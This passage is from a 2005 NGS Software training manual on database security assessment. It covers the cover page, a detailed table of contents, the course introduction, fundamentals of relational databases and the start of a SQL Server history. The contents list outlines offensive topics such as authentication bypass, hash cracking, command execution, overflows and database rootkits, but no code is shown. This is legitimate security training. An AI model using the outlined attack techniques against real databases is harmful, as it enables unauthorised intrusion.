You are on page 1of 198

NGS Software

Next Genera tion Sec urity Software Ltd.

BLACKHAT USA 2005

Advanced Database
Security Assessment

Specialist 2 Day
Technical Training

Next Generation Security Software


52 Throwley Way, Sutton,
Surrey, SM1 2BF
United Kingdom
Tel: +44 (0)208 401 0070
Fax: +44 (0)208 401 0076
http://www.ngssoftware.com

Lead Authors
Kev Dunn & Marcus Pinto (NGS)
Contributing Authors
David Litchfield & Chris Anley (NGS)

Copyright 2005 Next Generation Security Software Limited


All Rights Reserved.

This training course and related documentation are protected by copyright and distribution under licensing
restricts their use, copy, and distribution. No part of this documentation may be reproduced in any form or by
any means without prior written authorisation of Next Generation Security Software Limited. While every
precaution has been taken in the preparation of this document, Next Generation Security Software Limited
assumes no responsibility for errors or omissions. This document is published with the understanding that
Next Generation Security Software Limited and its authors are supplying information but are not attempting to
render engineering or other professional services.
This document and features herein are subject to change without notice.
Next Generation Security Software Limited
52 Throwley Way, Sutton
Surrey, SM1 4BF
United Kingdom
http://www.ngssoftware.com
Please direct any comments concerning NGS Training courseware to training@ngsconsulting.com
Print Date: 8 July 2005

In addition to the authors listed, the following people have contributed to this training course material:

John Heasman Principal Security Consultant, NGS

Peter Winter-Smith Security Consultant, NGS

Bill Grindlay Senior Software Developer, NGS

Paul Wright Software Developer, NGS

Advanced Database Security Assessment

Contents

Course Introduction ......................................................................................1


Course Abstract ............................................................................................... 1
Course Objectives ........................................................................................... 1
Training Objectives.......................................................................................... 1
Course Instructors........................................................................................... 2
Course Delegates............................................................................................. 2
Course Domestics & Timetable ...................................................................... 3
Health & Safety .........................................................................................................................3
Course Schedule ......................................................................................................................3
Coffee Breaks, Lunch & General Refreshments.......................................................................3

Fundamental Database Concepts ................................................................4


Module Abstract............................................................................................... 4
Module Overview ............................................................................................. 4
Defining the Purpose of a Database System ................................................. 5
Modern Database Requirements ..............................................................................................5
Some Definitions .......................................................................................................................6

Characteristics & Benefits of a Relational System ....................................... 7


Common Database Uses & Configurations................................................... 9
A Data Repository in a Three-Tier Application .........................................................................9
A Central Server in a Two-Tier Application...............................................................................9
A Desktop Database .................................................................................................................9

Core Aspects of a Database System............................................................ 11


Authentication .........................................................................................................................11
Authorisation / User Rights Assignment .................................................................................11
Tables .....................................................................................................................................11
Database Instances ................................................................................................................12
Functions.................................................................................................................................12
Structured Query Language (SQL) .........................................................................................12
Stored Procedures ..................................................................................................................12
Views.......................................................................................................................................13
Triggers ...................................................................................................................................13
Operating System Interaction .................................................................................................13
Network Integration.................................................................................................................13
rd
3 Party Software Integration .................................................................................................14

Module Summary ........................................................................................... 15


Popular Industry Database Solutions ........................................................16
Module Abstract............................................................................................. 16
Module Overview ........................................................................................... 16
Microsoft SQL Server .................................................................................... 17
Product History .......................................................................................................................17
Security History.......................................................................................................................18

Advanced Database Security Assessment

Contents

Oracle Database Server................................................................................. 19


Product History .......................................................................................................................19
Security History.......................................................................................................................20

MySQL Databases.......................................................................................... 22
Security History.......................................................................................................................23

IBM DB2 Database Solutions ........................................................................ 24


Security History.......................................................................................................................24

Sybase Database Solutions .......................................................................... 25


Security History.......................................................................................................................25

Module Summary ........................................................................................... 26


Database Integration into Business Solutions ..........................................27
Module Abstract............................................................................................. 27
Module Overview ........................................................................................... 27
Database Installation & Product Options .................................................... 28
Object-Relational Technology.................................................................................................28
Development Platform Selection.............................................................................................28
Environment ............................................................................................................................28
Overall Functionality ...............................................................................................................29
Security Relevance .................................................................................................................29

Hardening the OS for Database Installation ................................................ 31


Windows Platforms .................................................................................................................31
Unix Platforms.........................................................................................................................31

Database External Connectivity Considerations ........................................ 33


Deploying Network Protection for Databases ............................................. 34
Firewalls and Network Placement ..........................................................................................34
Intrusion Detection ..................................................................................................................34

Module Summary ........................................................................................... 38


Building a Database Assessment Toolkit ..................................................39
Module Abstract............................................................................................. 39
Module Overview ........................................................................................... 39
General Database Discovery Tools .............................................................. 40
Using Nessus ..........................................................................................................................40
Using NGS Typhon III .............................................................................................................43

Purpose Built Database Enumeration Software.......................................... 47


Oracle Auditing Tools (OAT)...................................................................................................47
Oracle Getsids ........................................................................................................................48
Oracle TNScmd.pl...................................................................................................................48
Oracle Listener Security Check ..............................................................................................48
Oracle Security Check ............................................................................................................49
Oracle Password Cracker .......................................................................................................49
Oracle Oscanner .....................................................................................................................49
SQLRecon...............................................................................................................................50

Advanced Database Security Assessment

II

Contents

SQLPing / SQLPing2 ..............................................................................................................50


sqlbf SQL Bruteforcer ..........................................................................................................50
SQL Auditing Tools (SQLAT)..................................................................................................50
MySQL Network Scanner .......................................................................................................51
MySQL Brute Force Password Hash Cracker ........................................................................51
Sybase & DB2 Where are the tools?! ..................................................................................51

Database Vulnerability Scanners ................................................................. 52


Metacoretex Scanner ..............................................................................................................52
AppSec Inc. AppDetective ...................................................................................................53
NGS Software Squirrel for Oracle........................................................................................54
NGS Software Squirrel for Microsoft SQL Server................................................................55
NGS Software Squirrel for Sybase ......................................................................................56
NGS Software Squirrel for IBM DB2 ....................................................................................57
NGS Software Orascan .......................................................................................................58

Vendor Client Connectivity Utilities ............................................................. 59


Oracle Client Drivers and Tools ..............................................................................................59
Sybase Client Drivers and Tools ............................................................................................60
IBM DB2 Client Drivers and Tools ..........................................................................................60
Microsoft SQL Server Client Drivers and Tools ......................................................................61
MySQL Client Drivers and Tools.............................................................................................62
Generic Client Connectivity.....................................................................................................63

Using Offline Database Test Servers ........................................................... 64


Why Bother? ...........................................................................................................................64
Creating Virtual Hosts for Assessment ...................................................................................64
Using Offline / Local Servers to Extract Data .........................................................................64

Module Summary ........................................................................................... 65


Unauthenticated Database Enumeration ..................................................66
Module Abstract............................................................................................. 66
Module Overview ........................................................................................... 66
Dumping System Data through the Oracle TNS Listener........................... 67
Using Nmap and Amap to Find Databases ............................................................................67
Querying the TNS Listener Directly ........................................................................................70
Hacking the Server with the TNS Listener!.............................................................................73

Probing the Microsoft SQL Monitor Ports ................................................... 75


Gathering Data through MySQL Ports ......................................................... 76
Simple Banner Grabbing.........................................................................................................76

Enumerating IBM DB2 Database Servers .................................................... 77


Analysing Database Network Traffic............................................................ 80
Sniffing the Sybase Version....................................................................................................80
MySQL Authentication Traffic .................................................................................................81
Microsoft SQL Server Network Sniffing ..................................................................................82

Enumerating Default Database Users & Passwords................................... 84


Checking for Oracle Default Credentials ................................................................................84
Hunting the Blank SA Password .............................................................................................86
Finding MySQL and DB2 Defaults ..........................................................................................89

Advanced Database Security Assessment

III

Contents

Bypassing MySQL Authentication ............................................................... 91


Module Summary ........................................................................................... 93
Authenticated Database Enumeration.......................................................94
Module Abstract............................................................................................. 94
Module Overview ........................................................................................... 94
Establishing All Database Users .................................................................. 95
Oracle Database Users...........................................................................................................95
MySQL Database Users .........................................................................................................96
Microsoft SQL Server Database Users...................................................................................96
IBM DB2 Database Users.......................................................................................................97
Sybase ASE Database Users .................................................................................................98

Listing Tables, Stored Procs, Functions & Packages ................................ 99


MS SQL Server Resource Enumeration (T-SQL)...................................................................99
Sybase ASE Resource Enumeration....................................................................................100
Graphical Representations ...................................................................................................100

Determining Roles, Privileges & Permissions .......................................... 102


Oracle Roles, Privileges, Permissions & Access..................................................................102

Hunting for Dangerous (Useful) Default Content ...................................... 103


Microsoft SQL Server Stored / Ext Stored Procedures ........................................................103
Oracle Default Packages ......................................................................................................104

Running Password Audits & Bypassing Auth........................................... 106


Cracking Oracle Password Hashes ......................................................................................106
Cracking MySQL Password Hashes.....................................................................................107
Cracking Microsoft SQL Server Password Hashes ..............................................................108
Bypassing MySQL Authentication with a Client Side Patch .................................................108

Module Summary ......................................................................................... 110


Identifying Database Vulnerabilities .......................................................111
Module Abstract........................................................................................... 111
Module Overview ......................................................................................... 111
Database Detection over a Network ........................................................... 112
Automated Database Assessment ............................................................. 114
General Checks ....................................................................................................................114
Authenticated SQL Checks...................................................................................................116

Using Online Resources ............................................................................. 121


Placing Vulnerabilities in a Business Context .......................................... 122
Business Layer Attacks.........................................................................................................122
Server Trust ..........................................................................................................................122
Vulnerability Chaining ...........................................................................................................122

Module Summary ......................................................................................... 125


Exploiting Vulnerabilities to Gain Control ...............................................126
Module Abstract........................................................................................... 126

Advanced Database Security Assessment

IV

Contents

Module Overview ......................................................................................... 126


Misusing Stored & Extended Stored Procs ............................................... 127
SQL Injection and Stored Procedures ..................................................................................127
Classic Vulnerabilities ...........................................................................................................128
Dangerous Default Stored Procedures.................................................................................129

More Code Injection within Database Resources ..................................... 130


PL/SQL Injection within Oracle Procedures..........................................................................130
Turning PL/SQL Injection into a Workable Attack.................................................................130
Oracle PL/SQL Injection Vulnerabilities ................................................................................131
PL/SQL Injection into Triggers ..............................................................................................132
Executing with Invoker Rights...............................................................................................132
Making the Problem Bigger : Using Oracle Application Server ............................................133

Reading & Writing Arbitrary System Files................................................. 135


MySQL File Privilege ............................................................................................................135

Breaking Out of the Database..................................................................... 138


MySQL Command Execution................................................................................................138
MS SQL / Sybase Command Execution...............................................................................138
Producing T-SQL Hack Tools in Microsoft SQL Server........................................................139
Producing Java Hack Tools in Sybase and Oracle...............................................................139
Oracle Command Execution .................................................................................................141
Producing PL/SQL Hack Tools .............................................................................................142

Exploiting Functions & Temporary Stored Proc Bugs ............................. 144


Overflows in Microsoft SQL Functions..................................................................................144
Microsoft SQL Server Temporary Stored Proc Permission Bugs.........................................145

Adhoc Queries & SQL Agent Misuse ......................................................... 146


Using OpenRowSet Adhoc Queries .....................................................................................146
Running Queries Through the SQL Agent............................................................................146

Exploiting Boundary Conditions with Buffer Overruns............................ 147


Microsoft SQL Server User Authentication Overflow aka Hello Bug...................................147
Microsoft SQL Server UDP Resolution Overflow aka Slammer Worm...............................147
Oracle TIME_ZONE Buffer Overflow....................................................................................148
Sybase Declare Statement Buffer Overflow .........................................................................149
IBM DB2 JDBC Applet Overflow...........................................................................................149
MySQL Pre-authentication Overflow aka Scramble............................................................149

Advanced Exploitation with Rootkits Runtime Patching ......................... 151


General Database Rootkits...................................................................................................151
Trojaning Extended Stored Procedures in MS SQL and Sybase .........................................151
Trojaning MySQL ..................................................................................................................152
Even Cooler! Patch the Database at Runtime! .....................................................................153

Module Summary ......................................................................................... 154


Researching Database Vulnerabilities ....................................................155
Module Abstract........................................................................................... 155
Module Overview ......................................................................................... 155
Assessment Methodology / Specific Installations .................................... 156

Advanced Database Security Assessment

Contents

Breaking the Client in a 2-Tier Model ...................................................................................156


Client Access ........................................................................................................................156
Sniffing / Intercepting the Client ............................................................................................156
Client Disassembly ...............................................................................................................157
2-Tier Model Business Layer Attacks ................................................................................159
SQL Injection in an N-tier Model ...........................................................................................159

Assessment Methodology / Research ....................................................... 161


Installation .............................................................................................................................161
Vulnerability Research External connectivity.....................................................................161
Vulnerability Research Internal attacks .............................................................................162
Fuzzing..................................................................................................................................162
Source Code .........................................................................................................................163

Preparing a Test & Research Environment ............................................... 165


Regmon / Filemon.................................................................................................................165
TCPView ...............................................................................................................................165
Process Explorer...................................................................................................................165
OllyDbg .................................................................................................................................165
Ethereal.................................................................................................................................166
Built-in OS Tools ...................................................................................................................166
LSOF.....................................................................................................................................166
GDB ......................................................................................................................................166
Spike .....................................................................................................................................166

Finding New Exploitation Methods ............................................................ 170


Identical Vulnerabilities within Different Databases ..............................................................170
Areas of Historical Weakness in a Database........................................................................170
Common Vulnerability Groupings in a Database..................................................................172
Common Causes of Vulnerability .........................................................................................172
New Exploitation Methods ....................................................................................................173
Syntax Permissions in OUTER JOIN (BID: 4523) ................................................................173
Oracle Character Conversion Bug (BID: 10871) ..................................................................173
MySQL Authentication Bypass (BID: 10654)........................................................................174
OpenRowSet Privilege Escalation in Mixed Mode ...............................................................174
Weak Permissions on Windows Objects In DB2 ..................................................................174
Sybase declare Buffer Overflow .........................................................................................175

Module Summary ......................................................................................... 176


Course Conclusions & More FUN!! ...........................................................177
Module Abstract........................................................................................... 177
Module Overview ......................................................................................... 177
Advanced Database Security Assessment: Course Summary................ 178
Module 1: Fundamental Database Concepts .......................................................................178
Module 2: Popular Industry Database Solutions...................................................................179
Module 3: Database Integration into Business Solutions .....................................................179
Module 4: Building a Database Assessment Toolkit ............................................................180
Module 5: Unauthenticated Database Enumeration .............................................................180
Module 6: Authenticated Database Enumeration .................................................................181

Advanced Database Security Assessment

VI

Contents

Module 7: Identifying Database Vulnerabilities.....................................................................182


Module 8: Exploiting Vulnerabilities to Gain Control.............................................................183
Module 9: Researching Database Vulnerabilities .................................................................184
Module 10: Course Conclusions & More FUN!!....................................................................185

Lessons Learned General Database Security Tips................................ 186


Patching Your Database .......................................................................................................186
Removing Default Authentication Insecurities ......................................................................186
Tightening the User Privilege Model .....................................................................................187
Securing Default Content and Configurations ......................................................................187
Secure Database Development............................................................................................187
Analysing Client Security & Network Integration ..................................................................187

Recommended Further Reading................................................................. 188


End of Course Practical Exercises............................................................. 189

Advanced Database Security Assessment

VII

Course Introduction

Course Introduction
Course Abstract
As professional consultants and security researchers, NGS have developed a deep
specialist knowledge together with high levels of experience of real-world database
solutions. Often, a significant difference exists between textbook database deployments
and implementations that work well in specific networks. In the same way, security and
the hardening of databases has to walk the difficult line between an impenetrable system
and the database functionality required.
Database Security Assessment reveals the security posture of a database system from
the potential attackers perspective rather than from the classic administrator view. It is
the goal of this course to build a Database Assessment Methodology based upon the
techniques and tools used by NGS in real world situations.

Course Objectives
Upon completion of this course, delegates should be able to understand:

The fundamental concepts of database systems

Key components within a database deployment

The integration of databases into business solutions

The process of a thorough database assessment

Techniques used by hackers to exploit database flaws

Practical assessment / attack vector considerations

Training Objectives
Objectives
By the end of this course, delegates should be able to implement:

Best-practices for configuration & deployment of databases

Successful investigation of database attack vulnerabilities

Common attack vector & compromise protection

A security risk analysis of database attacks vectors

A thorough practical database security assessment

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

Course Introduction

Course Instructors
The course instructors will introduce themselves covering the following criteria:

Name

Areas of Speciality / Interests

General IT Experience

Security Experience

Life Experience

Course Delegates
You are invited to introduce yourself to your course instructors and fellow delegates using
the following criteria:

Name

Areas of Speciality / Interests

General IT Experience

Security Experience

Life Experience

Personal Course Goals

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

Course Introduction

Course Domestics & Timetable


To ensure the smooth running of this course the following information will be conveyed to
you by the course instructors at the beginning of the event.

Health & Safety


Your instructor will brief you on the venues Health & Safety requirements. Please make a
note of the nearest fire exit route and the emergency assembly point for evacuation.
Following this venues Health & Safety procedure is mandatory at all times.

Course Schedule
Your instructor will cover the general schedule for this course with as much flexibility as
possible. If you require extra explanation of specific aspects, alert your instructor as soon
as possible. It may be possible to devote extra time to topics that interest you the most or
that you are having difficulty understanding.

Coffee Breaks, Lunch & General Refreshments


Refreshments will be provided throughout the working day. Your instructor will schedule
time for refreshment breaks at convenient points during the course. Under most
circumstances, it is possible to accommodate delegate refreshments at the desk. Your
instructor will provide the fixed lunch schedule; it is recommended that you make a note of
the serving times for each day at the bottom of this page.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

Module 1: Fundamental Database Concepts

Fundamental Database Concepts


Module Abstract
Like any subject, to make progress with database security it is necessary to start with
some basic fundamental concepts before tackling any tough or involved aspects.
This module will introduce databases and Relational Database Management Systems to
pave the way for further modules. Core database components will be outlined to provide a
simplistic architectural overview that applies to general database systems regardless of
vendor implementation. Real world uses will be discussed and a security model is defined
to relate databases to regular IT principles.

Module Overview
This course module consists of the following topics:

Defining the Purpose of a Database System

Characteristics & Benefits of a Relational System

Common Database Uses & Configurations

Core Aspects of a Database System

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

Module 1: Fundamental Database Concepts

Defining the Purpose of a Database System


The fundamental purpose of a database is to store information. The simplest method of
doing this is to store everything in a file, as a delimited list of values. The first databases
created were Flat File Databases, and have the following characteristics:

Data is stored within a single table

Data retrieval is by parsing data in lines using the delimiter specified

The Flat File model is sufficient for simple data sets, such as a staff telephone directory, or
temporary files and configuration files created by software applications. Information is easy
to update, as the file is generally human-readable and is possible to edit directly on the file
system.

Modern Database Requirements


Todays database systems have many more requirements to fulfil:

Databases must be capable of storing a large amount of data

Access to data should be controlled by a privilege model

Numerous methods of client connectivity should be supported, including network


connectivity. Multiple concurrent clients may also have to be handled.

The database should offload the clients workload as far as possible, providing
common tasks in the form of stored procedures and/or views.

Data should be managed to ensure appropriate backups, rollback operations and


file locks are maintained.

Databases should audit their own use (user and client actions) to allow tracing of
client actions

Within these confines, there are underlying requirements which all of the RDBMS systems
fulfil:

Transaction integrity: a transaction (series of SQL statements ending with a


commit) should be ACID compliant. Broadly speaking this means that if a
transaction fails at any point, the changes can be rolled back to its previous state.

ACID compliance: transactions should be Atomic, Consistent, Isolated and


Durable. An Atomic transaction cannot be divided into smaller actions, and has
either taken place or not. A Consistent transaction ensures data is either in its

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

Module 1: Fundamental Database Concepts


pre-transactional state or its post-transactional state. Isolated transactions do not
affect each other. To be Durable, a transaction must handle system failure and
should allow the transaction to be rolled back.

Referential integrity: relational databases must maintain referential integrity


between related and derivative data when information is altered or deleted in the
database.

Unicode Compliance: the database should follow Unicode, the most widely used
character set on the Internet.

Some Definitions
A Flat File Database contains data in a file which is either fixed width or delimited using a
special character (commonly a tab or comma). Access to and manipulation of the
database is through direct manipulation of the file. The most structured example of todays
flat file database is XML, although many may argue that this is already too structured to be
considered a flat file database. XML is not a flat file database because the parser is
holding the data in (multi-dimensional) arrays similar to a database.
A database server is a distinct process that accepts a client request, and provides the
output matching that request only. Clients must connect to the database and retrieve the
information using a supported language (e.g. SQL). This is an important distinction.
Access is not a database server, but it is definitely a relational database.
A relational database consists of relations. The output of all operations such as queries,
stored procedures or functions is in the form of tables or scalars. This tabular output can
be used to create relationships between tables. Clearly, to take advantage of the different
tables within the same database, these tables will contain related data. A table containing
purchases may need to be matched to customer addresses, and a combination of both
sets of information stored in a shipping table. Non-relational databases such as Excel
spreadsheets and database files do not segregate information into tables this is the work
of a relational database.
An RDBMS is both a relational database and a database server. The first full commercial
RDBMS to market was Oracle in 1979. Since then many RDBMS solutions have been
produced to cope with the requirements of e-commerce and company information
management systems.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

Module 1: Fundamental Database Concepts

Characteristics & Benefits of a Relational System


The characteristics of a Relational System were first conceived in 1970 by Codd, a British
computer scientist working for IBM. He submitted a paper titled A Relational Model of
Data for Large Shared Data Banks, however, IBM did not take to the market quickly
enough and by 1977 Larry Ellison was developing his ideas. Codd outlined the
requirements in Codds 12 rules which can be distilled down to the following
requirements:

The RDBMS must use its relational capabilities exclusively to manage the
database.

An element should be accessible with no ambiguity in its location and method of


address.

Operations should allow set-at-a-time alterations.

It should be possible to manipulate data in the same way regardless of its


physical layout.

Within the rules, Codd also proposed a language to perform the manipulation, which is
now SQL.
One way of highlighting the benefits of an RDBMS is to look at the shortcomings of other
systems described in the previous section, as they have been described in terms of their
weakness. The advantages are described here:

Relational Systems can generally hold very large data sets, and are optimised to
support multiple concurrent connections and requests.

Organisation of data into tables is intuitive. The use of tables to store data
predates the database, and as a database is designed to manage a particular set
of information such as an e-commerce site or finance system, it is logical to also
provide an easy mechanism by which tables can be compared and related. The
RDBMS was conceived from set theory. (Limited by 2-dimensional representation
on a computer screen).

Structured Query Language (SQL) is optimised for data extraction and


manipulation from tables. Having a standardised language across database
systems is another strong advantage.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

Module 1: Fundamental Database Concepts

Built-in procedures, views and functions are often defined to aid the client in
managing data by providing short cuts to common tasks and requests, or by
automating common activities.

Strong Authentication and Authorisation mechanisms to protect data. Data


protection will be enforced using Discretionary Access Controls (permissions
assigned to a user) and Mandatory Access Controls (permissions assigned to a
group or to a sensitivity marking on data).

The ability to back up and roll back changes made to the database. The database
needs to provide an audit trail and allow changes to be rolled back.

The Relational nature of an RDBMS ensures that referential integrity is maintained


when data is altered.

Transactional integrity is a core prerequisite of a DBMS, and all of the major


DBMS systems are ACID-compliant.

RDBMS solutions have evolved over the last 30 years to become (from the perspective of
the information held) the single most important assets on a network. Databases are the
only practical method of holding the information in our lives today, as evidenced by the
ubiquity of their deployment. According to IDC research for 2004, the worldwide market for
RDBMS is now well over $15 billion.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

Module 1: Fundamental Database Concepts

Common Database Uses & Configurations


With a few exceptions, a database is nearly always a backend system. In this case, the
most common uses are:

A Data Repository in a Three-Tier Application


The database is used to provide reliable data storage. The middle tier enforces security
through Discretionary Access Controls and formats the SQL queries, so typically the use
of database security controls is limited. Some level of optimisation may take place to
ensure that typical user queries from the middle tier run quickly. This is the most end user
-friendly deployment, as in the case of web applications, the only user requirement is
HTTP. It is also the easiest to support, especially over the Internet, as the database
structure can be altered without updating the client. Example: e-commerce applications,
SAP.

A Central Server in a Two-Tier Application


Here the business logic is contained within the database, normally within stored
procedures. The database is responsible for all security including restricting access to data
sets, providing secure communication between client and server and auditing. Database
Views are a popular choice here to control access to specific data within tables.
2-tier systems were common in the 90s and there are still many examples to be found on
internal corporate networks. This is partly due to the ease of development, and the fact
that support over the client is feasible as the clients reside within the same network.
Example: Company address book, CRM system.

A Desktop Database
Desktop databases allow small systems and developers similar functionality to enterprise
databases at a lower cost. As they are designed for personal use, they will typically be
missing functionality such as support for multiple concurrent operations, large volumes of
traffic, multiple users or security features. For this reason, they are often used on the local
machine by software applications or as a personal database by end users. Example: ISS
Security Scanner
There are many other uses, some of which implement a mixture of the above, and some
others designed around the same architecture but with different goals to the ones stated

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

Module 1: Fundamental Database Concepts

above. For the moment, this outline will suffice in providing the motivation for this course:
why database security is important.
Database deployments range from the Land Registrys DB2 database at 18 Terabytes to a
Sybase ASA Anywhere RDBMS installation created by NGS which could run with only 4
files, (the core executable and three DLLs) totalling around 6MB. However, in considering
RDBMS, we will concentrate on unauthenticated access over the network and on querylevel access, as this covers the primary security concerns for most common uses and
configurations.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

10

Module 1: Fundamental Database Concepts

Core Aspects of a Database System


The internal database structure can be considered a self-contained environment similar to
an Operating System; in security terms, it implements many of the same mechanisms
such as authentication, audit, process control and so on. Because the system is so
complex, it is worth listing the core components comprising a database and their
implications on security.

Authentication
Authentication to an RDBMS is generally over a network. At the time of writing, only one
major database, PostgresSQL, does not listen on the network by default, although that will
change with the release of Yukon. Most enterprise databases allow a wide range of
authentication options including Kerberos, DCE, and authentication to the host operating
system. Some databases like DB2 and Informix use operating system authentication
exclusively. A common feature is that with a few exceptions, native authentication
mechanisms developed in databases have proved to be vulnerable to numerous preauthentication attacks, and many perform the authentication in clear text by default.

Authorisation / User Rights Assignment


User rights are assigned at two levels: the group level, and user level. The database holds
a map for user rights in a system table which must be consulted before permissions to a
resource can be granted to a user.
All Enterprise DBMS systems have the concept of a user model, though the precise
mechanisms used to implement access control vary. Rights can be assigned to a user
group, or conversely rights can be grouped (for example CONNECT, CREATE TABLE)
and assigned to a user or a group of users. In some circumstances such as mixed mode
authentication, these could be user accounts on the host operating system too, with
interesting implications for security.

Tables
Simply put, tables ('relations') are the core element of an RDBMS. Tables store all of the
data the database was designed to hold, as well as system tables, which hold the
configuration, users, stored procedures and permissions for the database. It is a
convenient short cut to have the two very differing types of information stored in the same

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

11

Module 1: Fundamental Database Concepts

way, as it allows user data to be managed using the same tools as the database tools
(primarily through interactive SQL queries or stored procedures).

Database Instances
An RDBMS may be comprised of several database instances. The key characteristic of a
system comprised of multiple instances is that the instances are separated in memory
(services and background processes) although they share the same disk resources.

Functions
Database functions are generally provided as an extension to the SQL dialect
implemented by the vendor. Typically, these provide mathematical operations, however
most RDBMSs also include their own functions, providing various maintenance and data
conversion functions. In some databases, the built-in functions can provide extensive
functionality, such as the ability to open and read a file from disk (for example load_file in
mysql),

Structured Query Language (SQL)


SQL varies between databases, but one of the key strengths of an RDBMS is that they
use a powerful common language, SQL.

Stored Procedures
All of the databases covered by this course implement stored procedures. Although a
stored procedure is simply an SQL script they form an important part of the security model
due to the difference in user permissions and those of the stored procedure; SPs in
Sybase Adaptive Server Anywhere have more privileges than standard users, and allow
privilege elevation attacks. Security may also be imposed through stored procedures (see
views below) in which case the stored procedure will have more access to the database
than the user executing it. Extended stored procedures allow access to powerful libraries
which can provide interaction with the OS.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

12

Module 1: Fundamental Database Concepts

Views
A database view is no more than a query, which does the work of filtering data from tables
for the user. This may be done for the users convenience or as a security feature to
provide row-level or even field-level security.

Triggers
A trigger is analogous to a stored procedure, differing solely in the method of invocation.
Triggers are designed to be executed automatically on alteration of data (INSERT,
UPDATE or DELETE) and follow other cleanup actions or alerts, ensure the database is
compliant with more complex business logic, or modify data in a second database.
Depending on the database software, the trigger may be executed by the creator, or by
another user entirely (e.g. Oracle).

Operating System Interaction


As stated above, some databases such as DB2 and Informix are tightly integrated with the
host operating system. The SPL Language used by Informix can run system commands,
and DB2 uses operating system accounts for its privilege model. Sybase ASE allows Java
code to be integrated into SQL, though this is not enabled by default. Oracle allows users
to create libraries for external DLLs, and most databases explicitly implement a method by
which tables can be imported and exported from external files.
OS interaction (sometimes referred to as the edge functions of a database), is the main
security interest of the course, and a historic view of vulnerabilities in databases (and other
software) indicates that nearly all of the vulnerabilities are centred on these functions.
Evidently, you would expect vulnerabilities of the xp_cmdshell type, given the premise that
database users should only be able to perform operations on the database. However,
there are many classic vulnerabilities such as buffer overflows, format strings and directory
traversal in oracles ExtProc, pre-authentication vulnerabilities conducted over the network
in DB2, Oracle, MSSQL server and MySQL, and libraries and functions which
communicate with code external to the database.

Network Integration
To be useful in a client-server environment, some level of network interaction is required of
a database. The database will listen for incoming connections on a port, handling
authentication and traffic often through its own protocol (e.g. TNS for oracle, TDS for
MSSQL/Sybase). Once authenticated, the user will be able to run queries over the
network, using a variety of APIs such as ODBC.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

13

Module 1: Fundamental Database Concepts

A database will typically support many other forms of network communication, such as
other forms of authentication, Enterprise Management, SNMP, SSL encryption, interdatabase connection and other proprietary services. Oracle, for example, listens on a
variety of
ports, as
can be seen from
the port assignments
at
http://www.iana.org/assignments/port-numbers (bear in mind that Oracle also listens on a
number of ports not officially registered by Oracle).

3rd Party Software Integration


Third party software integration is in many ways more fundamental than network
integration, as many third party-developed systems will not speak SQL directly to the
database, an RDBMS should be accessible through a programming interface. This
interface will reside between the database and the front-end application, and translate
commands to commands the database can understand. The three most common APIs are
(in order) ODBC, JDBC, and OLE DB. Many others may be available but these are
generally optimised and standardised, allowing the programmer to create more databaseindependent applications.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

14

Module 1: Fundamental Database Concepts

Module Summary
The fundamental requirements for an RDBMS have been discussed in this module and
are summarised here:

Transactional integrity (ACID compliance)

Relational Integrity between tables and data

The ability to be queried remotely (e.g. through SQL)

An Enterprise database must fulfil other enterprise requirements:

Database Authentication and an internal privilege model to protect data

Internal functions and stored procedures

Views, to filter and organise data for database users

Triggers to automate actions within the database.

Integration with other elements on the network, supporting client access through
programming APIs.

These enterprise requirements are what make databases available in a number of


business scenarios, as the server in a 2-tier system, or as a data repository in a 3-tier
environment. Cut-down versions are often seen used in desktop software and simple data
sets.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

15

Module 2: Popular Industry Database Solutions

Popular Industry Database Solutions


Module Abstract
Once familiar with the basic concepts of database technology it is necessary to examine
the leading database solutions available from commercial vendors and public open source
projects. A modern network environment is likely to contain many different types of
database system each with differing characteristics and general uses.
This module outlines the most popular industry database systems encountered during
security consultancy, across diverse business sectors and industries.

Module Overview
This course module consists of the following topics:

Microsoft SQL Server

Oracle Database Server

MySQL Databases

IBM DB2 Database Solutions

Sybase Database Solutions

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

16

Module 2: Popular Industry Database Solutions

Microsoft SQL Server


Microsoft SQL server is a relatively recent RDBMS. It began development as Sybase SQL
server, beginning as SQL Server for OS/2 in 1989 and becoming a distinct element from
Sybase once Windows NT was conceived. Even at this point, the Sybase and Microsoft
code bases shared many similarities. Today, many similarities are still to be seen, for
example the use of the TDS protocol in network communication. At the time of writing,
Yukon is undergoing the final stages of development and is due to be shipped within the
next few months.

Product History
The history of Microsoft SQL server products is summarised here:

1993 - SQL Server 4.2

1995 - SQL Server 6.0, codename SQL95

1996 - SQL Server 6.5, codename Hydra

1998 - SQL Server 7.0, codename Sphinx

1999 - SQL Server 7.0 OLAP, codename Plato

2000 - SQL Server 2000 32-bit, codename Shiloh

2003 - SQL Server 2000 64-bit, codename Liberty

2005 - SQL Server 2005, codename Yukon

Aside from the TDS protocol, MSSQL server has another unique feature (although also
shared with Sybase) in Transact SQL, which extends the functionality of SQL with
elements of procedural programming languages.
Microsofts decision to support only Windows platforms has given it a niche as the
database of choice for windows platforms, with about 80% of the market share, and 13%
of the overall market share, according to IDC figures. The Desktop Engine, MSDE (now
SQL Server Express) is even more widely deployed and is bundled with products such as
Visual Studio. Its ubiquity was made evident by the devastating speed with which Slammer
propagated over the Internet.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

17

Module 2: Popular Industry Database Solutions

Security History
The MSSQL server 2000 security history is one of the most interesting:

2005: 1 advisory containing multiple high risk issues, found internally by Microsoft.

2004: 3 patches including a pre-authentication remote root, and 2003: 12


